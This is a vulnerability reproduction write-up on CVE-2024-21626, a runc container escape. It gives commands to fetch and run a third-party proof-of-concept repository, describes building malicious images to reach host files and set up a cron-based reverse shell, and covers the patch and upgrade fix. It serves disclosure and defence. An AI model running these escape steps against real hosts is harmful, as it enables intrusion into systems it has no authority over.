## https://sploitus.com/exploit?id=4603AB8A-DB92-5DBB-A107-0F6563D4553C
# **Vulnerability Reproduction**
CVE-2024-21626: docker runc escape vulnerability
## 1. Vulnerability Overview
| Vulnerability Name | Docker runc escape vulnerability |
| Vulnerability ID | CVE-2024-21626 |
| Disclosure Date | 2024-01-31 |
| Affected Versions | runc @ [v1.0.0-rc93, 1.1.11] |
## 2. Vulnerability Exploitation & POC/EXP
**Exploitation conditions are somewhat demanding and require interaction from the victim. Personally, I think this is somewhat useless:**
1. Use the attacker’s malicious image (including settings for the working directory).
2. The attacker can control the container and execute commands. **Vulnerability validation and description of the descriptor:**
```bash
git clone https://github.com/V0WKeep3r/CVE-2024-21626-runcPOC.git
cd CVE-2024-21626-runcPOC
bash verify.sh
```
As shown in the figure below, the vulnerability exists, and the file descriptor is `/proc/self/fd8`.
`verify.sh` can determine the specific value of the fd in the current machine environment. If the fd is not 8, you need to modify `Dockerfile` to set `WORKDIR` to the correct value or use `-w` in `docker run`. **Escape/ escalation validation:**
Here, I’ll use a scheduled task to reverse-shell. In `poc2.sh`, a replacement command is used (note that files must be backed up before using this method to avoid loss).
```bash
# It is necessary to confirm that the scheduled task file exists. If it doesn’t, create one. But this won’t trigger the scheduled task. Only files created with crontab -e will be executed.
docker build. -t poc1
docker run -it --rm poc1 bash /poc.sh
```
POC2:
```bash
docker build. -t poc2
docker run -it --rm poc2 bash /poc.sh
# Start another terminal
/bin/bash.copy
```
## 3. Vulnerability Analysis
I don’t fully understand it, but I can roughly understand it by combining patches. During `docker exec` or `docker run`, the `runc` exec function is called, but the fd file descriptor isn’t closed during execution, causing the host’s file descriptors to leak into the container environment. Users can use these file descriptors to read/write host files, thereby achieving container escape.
## 4. Fixing Solutions/Patch Analysis
**Fixing Solutions**
Upgrade `runc` to version 1.12 or higher. Official link for `runc`: https://github.com/opencontainers/runc/releases
**Patch Analysis**
Diff commit: https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e
Close internal fds before calling `execve`.
`init_linux.go`: Verify that `cwd` is within the container after `chdir`.
`init_linux.go`: Verify that `cwd` is within the container after `chdir`.
## F. Reference Links
1. Vulnerability description: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
2. Patch: https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e